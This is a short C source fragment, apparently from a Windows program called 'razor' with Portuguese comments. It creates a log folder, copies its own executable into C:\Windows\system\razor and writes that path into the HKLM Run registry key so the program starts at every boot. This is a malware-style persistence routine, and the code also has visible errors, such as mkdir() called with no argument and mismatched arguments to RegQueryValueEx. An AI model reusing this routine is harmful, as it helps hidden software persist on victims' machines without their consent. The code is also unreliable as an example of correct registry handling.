1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
|
BOOL instalarNoRegistro(){
//Verifica se a chave de inicialização existe.
LONG retorno;
DWORD tipo;
HKEY chave;
char valor[TAMANHO_CAMINHOS];
char wft[MAX_PATH];
char instalacao[] = {"C:\\Windows\\system\\razor\\razor.exe"};
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&chave);
retorno = RegQueryValueEx(chave,NOME,NULL,&tipo,(LPBYTE)wft,&valor);
LONG sucesso;
if(retorno == ERROR_SUCCESS){
if(strcmp(valor,"C:\\Windows\\system\\razor.exe")){
char chaveRazor[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\RAZOR";
RegDeleteKey(HKEY_LOCAL_MACHINE,chaveRazor);
sucesso = RegSetValueEx(chave,NOME,0,1,(LPBYTE)wft,strlen(instalacao));
}
}else{
sucesso = RegSetValueEx(chave,NOME,0,1,(LPBYTE)instalacao,strlen(instalacao));
}
RegCloseKey(chave);
if(sucesso)return TRUE;
return FALSE;
}
void instalar(){
mkdir();
mkdir(CAMINHO_LOGS);
int res = CopyFile(CAMINHO_EXECUTAVEL,"C:\\Windows\\system\\razor\\razor.exe",0);
if( res ){
instalarNoRegistro();
}
}
|